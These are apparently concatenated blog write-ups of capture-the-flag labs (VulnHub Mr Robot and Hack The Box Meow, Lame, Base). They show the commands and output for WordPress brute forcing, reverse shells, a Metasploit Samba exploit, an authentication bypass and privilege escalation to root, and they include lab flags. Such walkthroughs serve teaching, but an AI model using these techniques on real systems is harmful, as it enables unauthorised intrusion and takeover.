So that’s it, the box is owned, we captured the key and learned all about NFS along the way. As for that Hydra session that was running, I believe it found a password for the user named user and it was ‘letmein’. Not that we needed it.
Dear Friend, thank you for coming to HaXeZ. I love the show Mr Robot, it’s probably one of my all-time favourite shows (along with the X-Files and House). Not only is it a realistic hacking drama but it’s also a psychological thriller with some crazy moments. So, today we’re going to channel our inner hacktivist and join up with fsociety to bring down the global conglomerate that is Evil Corp. That’s right, we’re going to be hacking our way into the Mr Robot box on VulnHub created by Leon Johnson.
Mr Robot Set Up
In order to hack this box, you will first need to download it from VulnHub. Once the box has been downloaded you will then need to import it into your Virtual Machine Hypervisor software. I’m going to be using VirtualBox for this and it’s as simple as clicking ‘File > Import Appliance’ and then navigating to the file you downloaded. It may take a couple of minutes but once it’s done, power it up along with your hacking Virtual Machine.
Importing Mr Robot
VirtualBox Network Setup
Firstly, you want to check your Host Network Manager settings. This can be done in VirtualBox by ‘File > Host Network Manager’. Take a look at your network settings and make note of the IPv4 address.
VirtualBox Network Manager
Once you have the host network address, check that DHCP is enabled. Then, head to the network settings of both your hacking machine and your target machine. Check that both of the machines have Adapter 1 set to host only and that the name of the adapter is the same. If you want you can enable the second adapter on Kali and set it to NAT so that you still have internet access.
VirtualBox Host Network
Finding Mr Robot
Hopefully, finding Mr Robot won’t be too difficult now that we have our network settings configured correctly. First, you can use a tool called netdiscover which can either passively detect online hosts or search for them by sending ARP requests. This can be quite noisy but I thought it was worth mentioning. We know the IP address of the host-only interface is 192.168.56.0 so let’s ask netdiscover to explore that range.
Netdiscover
sudo netdiscover -r 192.168.56.0/24
Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:0b 1 60 Unknown vendor
192.168.56.100 08:00:27:71:14:50 1 60 PCS Systemtechnik GmbH 192.168.56.101 08:00:27:db:36:79 1 60 PCS Systemtechnik GmbH
As you can see, three hosts respond. One is our default gateway with the IP address of 192.168.56.1 and one is our own machine and the other is the target machine. We will have to work out which one is which in a moment.
Ping Sweep
Our second method for finding the host is to perform a ping sweep against the network. As you can see from the terminal output below, it has found the same hosts. So we now know that the target host is either 192.168.56.100 or 192.168..56.101. Let’s perform some reconnaissance to figure out which is which.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sP 192.168.56.0/24
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 07:39 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00015s latency).
MAC Address: 0A:00:27:00:00:0B (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00036s latency).
MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00038s latency).
MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC)
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds
Mr Robot Reconnaissance
In order to work out which one our target is, we can perform a port scan on both IP addresses. The services listening on the IP addresses should tell us which one we need to attack. All I’m doing in the scan below is running a TCP scan against all ports. This is usually fairly quick and should give us everything we need. We could do far more complex scans but for now, let’s work out which box is which.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nmap -sT -p0- 192.168.56.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:00 EDT
Nmap scan report for 192.168.56.100
Host is up (0.00012s latency).
All 65536 scanned ports on 192.168.56.100 are in ignored states.
Not shown: 65536 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
Not a lot going on here. This is probably my machine as there won’t be many services running.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nmap -sT -p0- 192.168.56.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:01 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0014s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 125.66 seconds
As we have a closed SSH port and a web server listening on ports 80 and 443. That definitely isn’t my machine and is likely our target.
Exploring The Mr Robot Web Server
We know that ports 80 and 443 are open so let’s go check them out in our browser. Just grab the IP address and pop it in your browser with either HTTP:// or HTTPS:// at the beginning. The website emulates a Linux terminal with a number of options. Going through these options doesn’t appear to give us much but is pretty cool for immersion. I suggest going through them.
Mr Robot Web Server
Busting Directories
Since the website didn’t offer us much that we could use to progress, it’s time to brute force its directories and files to see find we can find anything interesting. There are a number of tools out there that can do this but I’m going to keep it simple and use dirb. The output of dirb is quite significant so I will only include a small section here.
As can be seen from the output above, we have a number of interesting files and directories. The first file I want to look at is the robots.txt file. In essence, the robots.txt file is a file that tells search engines what not to index. If you have login pages on your website then you would include them in the robots.txt file to ensure they don’t get indexed by search engines. Let’s take a look at it at http://192.168.56.101/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
First Key
It looks like we have our first flag or key. Navigate to the http://192.168.56.101/key-1-of-3.txt file and you should receive the following key 073403c8a58a1f80d943455fb30724b9. It also appears that we have a dictionary file, perhaps a word list that we can use to attempt to gain access to the machine. Let’s check it out http://192.168.56.101/fsocity.dic. The file will automatically download but you can cat it once it has downloaded.
Mr Robot Fsociety.dic
Admin Area
My suspicions were correct, it is a large wordlist. We could try and brute force SSH with it or the admin area of the website. Since we found it on the website I think we should start there. The first admin area found by dirb was https://192.168.56.101/admin but visiting that has a constant redirect loop on it. However, it also found a WordPress admin area.
Mr Robot wp-admin Area
Enumerating Valid Users
Interestingly, when attempting to login into the portal with admin: admin I am informed that I’m using an invalid username. This is a common tactic used in web application penetration testing to enumerate users. If the error messages for submitting an incorrect username and a correct username with an incorrect password are different, then we can enumerate the correct users. First, let’s sort out the wordlist so it only has unique entries.
There are many different tools out there capable of brute-forcing web applications and Burp Suite is probably a bit overkill for this task. However, I know how to use Burp and find it really intuitive so I’m going to stick with what I know. With the proxy on, I will capture a login request and send it to the intruder. There I will clear the existing positions and add my own to the log parameter.
Mr Robot Burp Suite
I will then load the fsociety.dic file into the payloads and start the attack Within a matter of moments we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.
Mr Robot Burp Brute Force
Within a matter of moments, we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.
Hydra
The error message is different, as you can see it is saying that password for the user Elliot is incorrect. So now that we know our username, it’s time to find our password and in order to do that, we’re going to use a different tool called Hydra.
hydra -vV -l elliot -P robotdic.txt 192.168.56.101 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "even" - 5656 of 11452 [child 9]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "Even" - 5657 of 11452 [child 7]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "evening" - 5658 of 11452 [child 11]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "event" - 5659 of 11452 [child 12]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "events" - 5660 of 11452 [child 5]
[80][http-post-form] host: 192.168.56.101 login: elliot password: ER28-0652
STATUS] attack finished for 192.168.56.101 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-30 09:58:12
Bingo we have found his password from the fsociety.dic file.
Popping Shells
Now we need to get on the box, the simplest way to do this is to add some code to one of the WordPress templates. The easiest is probably going to be the 404 templates because you can then call any non-existing page to execute the code. Modify the following code with your own IP address and add it to the top of the WordPress 404 template.
Now, in your terminal create a listener on port 443 using NetCat.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nc -lvp 443
listening on [any] 443 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 37398
[email protected]:/opt/bitnami/apps/wordpress/htdocs$ ls
Mr Robot Lateral Movement
Looking in the home directory we can see there is a user called ‘robot’. Furthermore, there are two files in this user’s home directory. One is the second key and the other is what appears to be a password md5. Unfortunately, we can’t read the key file due to the permissions but we can read the password file.
[email protected]:/opt/bitnami/apps/wordpress/htdocs$ ls -laSh /home/robot
ls -laSh /home/robot
total 16K
drwxr-xr-x 2 root root 4.0K Nov 13 2015 .
drwxr-xr-x 3 root root 4.0K Nov 13 2015 ..
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
If we cat this file we can see that is the md5 hash for the user robot. If we crack this hash then we should be able to switch to the robot user.
Now, we could crack this hash using Hashcat or John The Ripper. However, it has likely already been cracked so let’s check out crackstation.net. Indeed the hash has already been cracked and the password is abcdefghijklmnopqrstuvwxyz… right.
Mr Robot Crackstation.net
TTY Shell
Trying to switch to ‘robot’ in our current shell will produce an error saying we need to be in a terminal. In order to resolve this issue, we need to spawn a TTY shell.
In order to escalate our privileges to root, we need to find a program that can elevate us. This is normally possible due to a file having the suid bit set. You can find files with the suid bit set by running the following command.
We can see from the output that one of these files is Nmap and older versions of Nmap had an interactive mode that you could use to escape to root. As you can see from the tool output below, we can use Nmap interactive mode to escape to root and capture the final key.
[email protected]:~$ nmap –interactive
nmap –interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
Whoami
root
# ls
Ls
key-2-of-3.txt password.raw-md5
# cd /root
cd /root
# ls
Ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Dear Friend, welcome to HaXeZ where today we’re looking at one of the Hack The Box Machines called Meow. This machine is part of the Tier 0 starting point boxes and is regarded as a very easy box. Additionaly, there are a number of questions that you need to answer in order to complete this machine. First we need to connect to the VPN. In order to do that click on the Starting Point link and download the OpenVPN files.
Download VPN
Connect To The Hack The Box VPN
Once you have the files downloaded, put them in your Virtual Machines shared folder. If you don’t know where that is then please see my guide on creating a virtual machine shared folder. Once the file is in your shared folder, boot your Virtual Machine and log in. Next you need to either navigate to the mount point of your shared folder or put the full file path in the following command.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/VPN]
└─$ ls
starting_point_HaXeZ.ovpn
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/VPN]
└─$ sudo openvpn starting_point_HaXeZ.ovpn
2022-04-29 08:28:32 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
---SNIP---
2022-04-29 08:41:55 Initialization Sequence Completed
You should have now successfully complete the first challenge.
Connect To VPN
Spawn The Machine
Further down the page you should see question two with an option to spawn the box. Click on the spawn the box link and it should do just that. Additionally, once the box has been spawn you should see an IP address. Essentially, this is the address for the box that we will use to communicate with it.
Spawn Machine
You can now probably answer the next few questions too. The next one should be what does the acronym VM stand for? The answer is Virtual Machine.
VM Acronym
The next question is what tool do we use to interact with the operating system in order to start our VPN connection? That will be the terminal.
VPN Service
After that, it asks What is the abbreviated name for a tunnel interface in the output of your VPN boot-up sequence output? You can find this out by running ifconfig on your virtual machine. If snipped out my eth0 and loop back address and some other information but you can see that the abbreviated name is tun.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Meow]
└─$ ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.15.119 netmask 255.255.254.0 destination 10.10.15.119
tun Interface
Ping The Machine
Now that the box has been spawn and you know its address, it’s time to see whether we can talk to it. In order to do that we’re going to use the ‘ping’ command.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Meow]
└─$ sudo ping 10.129.122.207 | tee -a ping.txt
PING 10.129.122.207 (10.129.122.207) 56(84) bytes of data.
64 bytes from 10.129.122.207: icmp_seq=1 ttl=63 time=15.6 ms
Which should now allow you to answer the next question which is what tool do we use to test our connection to the target? The answer is ping.
Ping Machine
NMAP The Machine
Next we need to find out what services are available for us to talk to on the box. In order to do that we will use NMAP.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Meow]
└─$ sudo nmap -sC -sV -p- 10.129.122.207 | tee -a nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-29 08:42 EDT
Nmap scan report for 10.129.122.207
Host is up (0.036s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Furthermore, you should now be able to answer the next question which is what is the name of the tool we use to scan the targets ports? The answer is nmap.
nmap tool
Telnet To The Box
The results from the nmap scan showed us that port 23 or telnet is open on the box. There were no other services listening so we should attempt to connect to telnet to see what’s running. In order to do this we need to type the telnet command followed by the ip address and then the port. Include spaces between each entity.
After a bit of time waiting, we are greeted with an ascii hack the box logo. This should allow you to answer the next question which is what service do we identify on port 23/tcp during our scans? The answer is telnet.
Telnet
Login To The Box
We now need to login to the box but we don’t have any credentials. However telnet is predominantly a windows service so we can try logging in with Administrator or admin but those don’t work. However, if we try logging in as root with a blank password then we are successfully authenticated.
After logging in we can see that the box is in fact Linux and running the Ubuntu operating system. We should now be able to answer the next question which is what username ultimately works with the remote management login prompt for the target. The answer is root.
root user
Capture The Flag
Finally we now need to capture the flag. Fortunately they haven’t hidden it from us and we list out the directory we are currently in and see the file. Then all we need to do is cat that file and submit the flag to the web page.
I’m back once again doing Hack The Box machines. I have recently hacked all the Starting Point machines and am now moving on to the Beginner track. I’ve written a post on my experience with the Starting Point machine which you can read here.
Reconnaissance
The name of the machine I’m going to be looking at today and the first machine in the Beginner Track is Lame. As always, we start by checking to see whether the box is online and responding to pings.
[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo ping 10.129.81.166 | tee -a ping ping.lame.txt
[sudo] password for joe:
PING 10.129.81.166 (10.129.81.166) 56(84) bytes of data.
64 bytes from 10.129.81.166: icmp_seq=1 ttl=63 time=21.4 ms
64 bytes from 10.129.81.166: icmp_seq=2 ttl=63 time=20.4 ms
As you can see, the box is responding which means it’s safe to go ahead and run an nmap scan. I tell nmap to run safe checks, version checks and operating system identification on all ports. You can see the specific command and the output below.
[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.129.81.166 | tee -a nmap.lame.txt
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.84
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-09-15T14:40:20-04:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 40068/tcp): CLEAN (Timeout)
| Check 2 (port 45806/tcp): CLEAN (Timeout)
| Check 3 (port 54683/udp): CLEAN (Timeout)
| Check 4 (port 34973/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h59m26s, deviation: 2h49m56s, median: -43s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
I’ve snipped out a bunch of the stuff we don’t need to see and have highlighted the areas which I think are of interest. Going down the lists of results I see that port 21 (FTP) is open and is allowing anonymous logins. The first thing I did was to login and check to see whether there were any files on there.
[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo ftp 10.129.81.166
Connected to 10.129.81.166.
220 (vsFTPd 2.3.4)
Name (10.129.81.166:joe): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>
As you can see, there wasn’t anything interesting. I know that VSFTPD 2.3.4 has CVE-2011-2523 associated with it which is a backdoor. The backdoor requires the user to login with a smiley face and it grants them access. I attempted to do this but had no luck. I used the Metasploit module but that didn’t work so I it’s safe to say it’s patched. Moving on.
Foothold Hack
So from here we move on to the next port in the list, 138 and 445 (Samba). I can see that version of Samba is 3.0.20 let’s check SearchSploit to see whether there are any known vulnerabilities for this particular version.
As you can see from the snippet of code above, it looks like there is a command execution vulnerability and that there is a Metasploit module for. Let’s launch Metasploit (using msfconsole) and see if we can find and use the module.
Ok we have found the exploit, we can select it by running ‘use 0’. Once we have the module loaded we can run ‘options’ to see what we need to populate the options with.
sf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.129.81.166 yes The target host(s), range CIDR identifier,
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.84 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
It looks like we only have to set the RHOSTS option. The RHOSTS option is the setting you use to declare the IP address of the remote host. The RPORT is the remote port, as you can see it is targeting port 139. The LHOST and LPORT options are our localhost IP and port that we want the machine to connect back to. With all that configured, let’s run the ‘exploit’ command and see if it creates a session.
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.84:4444
[*] Command shell session 1 opened (10.10.14.84:4444 -> 10.129.81.166:34291) at 2021-09-15 20:06:43 +0100
whoami
root
Hallelujah, praise the hack gods. Metasploit successfully created a session on the remote machine and not only that but it looks like we are root too. That means no privilege escalation is required on this machine. Let’s grab the root flag.
cat /root/root.txt
f40--------haXez--------712
We still have to submit the user flag so we need to go hunting for it. Let’s check home directory and see if there are any users and whether any of them is hiding the user flag.
ls /home
ftp
makis
service
user
ls /home/makis
user.txt
cat /home/makis/user.txt
8af--------haXez--------3fb
Starting Point on Hack The Box is a collection of “Very Easy” machines designed to give an introduction to the hacking world. This is the red pill that will have you feeling like Alice tumbling down the rabbit hole. Unfortunately, there are multiple rabbit holes and not all of them lead to Wonderland. Alice may have met the Cheshire Cat, but you will encounter many different types of Cat that will assist you on your journey. As Morpheus once said:
“You take the blue pill, the story ends. You wake up in your bed and believe whatever you want to. You take the red pill, you stay in Wonderland, and I show you how deep the rabbit hole goes. Remember, all I’m offering is the truth. Nothing more.”
Morpheus
Let’s begin! My name is Zero Cool (kidding! it’s Joe) and I’ve been working in Cyber for around 2 years (at the time of writing). I’ve worked in tech for almost 10 years doing various jobs but have always been drawn to hacking. These machines continuously taught me new techniques. I have write-ups of each box if you want to check them out but here I will mostly be summarising my experience with the machines.
This is a machine that requires you to perform SMB enumeration to get credentials for a MSSQL database. The SMB enumeration was straight forward but I’ve never used the Impacket database connection tool before. I wouldn’t have even known about it if it wasn’t for this box. Once authenticated, I needed to use xp_cmdshell to execute a PowerShell command to download a reverse shell PowerShell script. After the reverse shell had connected back to my machine, further enumeration was required to grab the Administrator password from the history. This machine was a lot of a fun and I learnt about some new tools.
This machine required me to leverage broken access control restrictions to impersonate another higher privilege user. This one done using the tool Burp Suite. I’m quite familiar with Burp Suite but have never encountered a situation quite like this before. I’ve brute force parameters before to get API’s to dump information that they should but this was fairly unique. Once I was able to impersonate super admin it was possible to upload a reverse shell and have the machine connect back to me. Escalating privileges to root required manipulating a script that wasn’t calling a tool by the full path. This was something I had done before but am not overly confident doing. I enjoyed this box as understanding the vulnerabilities was straight forward.
This was the next target to succumb to my amateur hacking skills. This machine required downloading a password protected ZIP archive from FTP and then using tools to generate and crack the password hash of the ZIP. The ZIP contained a PHP index file which had some hardcoded MD5 encrypted credentials. The MD5 was cracked and then it was possible to login to the website. The next step was to perform an SQL injection attack while passing it my session cookie. The SQL injection was used to get a shell on to the machine which was then upgraded using bash. I then grabbed the postgres password and switched to that user. Postgres had the sudo ability to edit a particular file with vi which I exploited to escape to root.
This was the next victim on the list and gave me more trouble than I expected. This machine required exploiting WordPress by adding a backdoor to one of the themes PHP files. Once the backdoor was embedded it was possible to command it to download and execute reverse shell. Once on the machine I discovered that I had to use JuicyPotato to execute nc.exe to spawn a privileged reverse shell. I had not used JuicyPotato before and had a bit of trouble choosing which process to attach it to. I’m not entirely certain how it works yet so I need to do more research on it. This box was a lot of fun though and taught me about JuicyPotato.
This machine was next on my hit list and was my first encounter with a Domain Controller on during the Starting Point series. I’ve pen tested domain controllers before, so I sort of knew what to look out for. There were several ports that I targeted right away but the service I needed to poke was LDAP. Using the tool ldapdomaindump and authenticating as Sandra it was possible to dump user information. Then using another tool from Impacket it was possible to trick the server in to giving me a user hash which I cracked offline. With the hash cracked it was possible to perform a DCSync attack and grab the Administrator hash which gave us full access. This was a great box which I feel simulates possible configuration weaknesses that you might find in the real world.
This machine was next to get isolated and hacked by my 1337 haxor skills. Seriously though this was another fun box that leveraged directory traversal or local file inclusion. It was an obvious foothold initially due to the naming convention of the parameter used to call the index file. The machine had TFTP running so it was possible to put a reverse shell on it. By leveraging the local file inclusion attack to determine the path of the TFTP directory it was possible to call the reverse shell.
This was a fun machine that taught me about XML entity injection. I need to brush up on this subject so I’m going to check out the Portswigger web academy labs on it. The XXE attack allowed me to retrieve a user’s private key which I could then use to SSH to the box. After running winPEAS I found a file that the user had access to that was running as a scheduled task. Furthermore, we could echo content into this file so we dropped a netcat executable on the machine. I then echoed a command into the file so that it would create a reverse shell back to our machine the next time it ran. Great box but ran in to a few issues with it. Check out the post for more details.
This was a relatively simple machine with a neat trick for privilege escalation. This machine used credentials from the previous machine to gain SSH access. Once on the box I needed to use the built-in shell in man pages to escape the restricted shell and cat the user flag. The shell was still restricted as I was unable to use wget or curl to download any files. I used SSH to pipe LinPEAS on to the machine. LinPEAS found that root logins were permitted with passwords and that my use could access the shadow file with the root hash inside it. Cracking the file offline allowed me to SSH to the machine as root and capture the root flag.
This was the last machine in the Starting Point category on Hack The Box and it was a lot of fun to complete. I will admit that the web application on the machine ran horrendously slow which become tiresome at times. Base required me to snoop through listed directories and grab a PHP file containing the source code of the login page. The source code revealed it was configured in a vulnerable way that would allow me to bypass the authentication page. By intercepting and manipulating the login request it was possible to access an upload page. After uploading a reverse shell and gaining access to the box I needed to search through the web files and move laterally to the John user. After that it was a GTFOBin on the find command that elevated me to root and allowed me to capture the final flag.
Starting point has been Pwned!
Conclusion
This was a fun learning experience that made me think about the solutions. I spent a lot of time researching each of the findings and have a huge list of things I still have to look in to. I would like to revisit each of the machines once I have levelled up my skillset to see if there are any other ways that they could be completed. I’m drawn to Cyber Security and hacking like a moth to a flame so this was a really fun challenge for me. If you have an interest in tech or are already working in tech and want to improve your skillset then I highly recommend giving this a go.
This is the final machine of the Starting Point category on Hack The Box. I’ve been looking forward to doing this machine since I completed the last one. In traditional techy fashion however, I‘ve just spent most of the evening trying to work out why my Virtual Machine kept crashing. For some reason it kept producing invalid memory address registers. After an update, a reboot, and some tinkering, it now appears to be fine. That has nothing to do with this though so let’s jump right in.
Reconnaissance
Ok so first, after spawning the machine we ping it to check that it’s online.
[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output] └──╼ [★]$ sudo ping 10.10.10.48 | tee -a ping.10.10.10.48.txt PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data. 64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=21.6 ms 64 bytes from 10.10.10.48: icmp_seq=2 ttl=63 time=20.5 ms
The machine is talking to us! we have it right where we want it! Time to hack it with nmap.
[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output] └──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.48 | tee -a nmap.10.10.10.48.txx Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–14 17:41 BST Nmap scan report for 10.10.10.48 Not shown: 65534 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA) |_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn’t have a title (text/html) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
It looks like we have a webserver running on Ubuntu. Before I look at the site, I will launch a dirb scan to check for any interesting directories that we can hack.
[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt -w
— — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Tue Sep 14 22:51:33 2021
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Stopping on warning messages
— — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.10.10.48/ — —
==> DIRECTORY: http://10.10.10.48/_uploaded/
==> DIRECTORY: http://10.10.10.48/login/
+ http://10.10.10.48/server-status (CODE:403|SIZE:276)
==> DIRECTORY: http://10.10.10.48/static/
— — Entering directory: http://10.10.10.48/_uploaded/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.10.10.48/login/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
- — Entering directory: http://10.10.10.48/static/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
==> DIRECTORY: http://10.10.10.48/static/fonts/
==> DIRECTORY: http://10.10.10.48/static/images/
Interesting, it looks like the server is configured to allow directory listings. This is significant security oversight. This allows us to browse the directories and determine the file structure which could assist with a hack. This setting can easily be changed in the server configuration but for now let’s leverage that weakness and snoop around.
Base directory listing /login
Base directory listing /static
There are some interesting directories and files on the server, one of which is named login.php.swp and contains the following PHP code:
<?php session_start(); if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) { require(‘config.php’); if (strcmp($username , $_POST[‘username’]) == 0) { if (strcmp($password, $_POST[‘password’]) == 0) { $_SESSION[‘user_id’] = 1; header(“Location: upload.php”) } else { print(“<script>alert(‘Wrong Username or Password’)</script>”); }} else { print(“<script>alert(‘Wrong Username or Password’)</script>”); }
Foothold Hack
It appears as if the username and passwords are being put in to a short array and checked with strcmp. By intercepting and changing the request in Burp we can hack the syntax with an array of our own, and can cause the application to misbehave and hopefully bypass authentication. First, we will need to navigate to the site and submit a login request. We will then need to ensure the browser is configured to send the requests to Burp and that Burp intercept is on.
Base web application login
Second, As soon as Burp has intercepted the request we need to modify it slightly to add our own empty arrays. These arrays need to be added at the end of username and password before the input is received. You can see from the screenshot below that I have added an open and close square bracket to add the array.
Burp intercept array manipulation
Finally, we forward the request, and the subsequent set-cookie request with Burp and wait for the web application to respond. The page we are redirected to is an upload page. We know from our dirb results that there is an _uploaded directory. If we assume that is where the file upload puts files then we should be able to upload a reverse shell and hack it from there.
Base upload page
I used the pentestermonkey’s PHP Reverse Shell and uploaded it to the application. I started my netcat listener and then curled the URL to trigger the PHP reverse shell.
[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo curl http://10.10.10.48/_uploaded/shell.php
As expected. The shell worked and I was given acces to the box. Before we do anything else, we need to upgrade our shell so let’s run that Python 1 liner.
Now that that’s sorted, let’s check out the rest of the website files. When websites connect to databases, they require a database configuration file. Database configuration files contain passwords that could be used to gain access to sensitive information. There are other files like htaccess and htpasswd that could contain sensitive information too so it’s always a good idea to check them.
*Smug grin intensifies* The config.php file contains a password. We know this is the password that is required to login to the application, but we don’t know whether it has been reused on the system anywhere. With that in mind, let’s check the home directory and see what users are on the system.
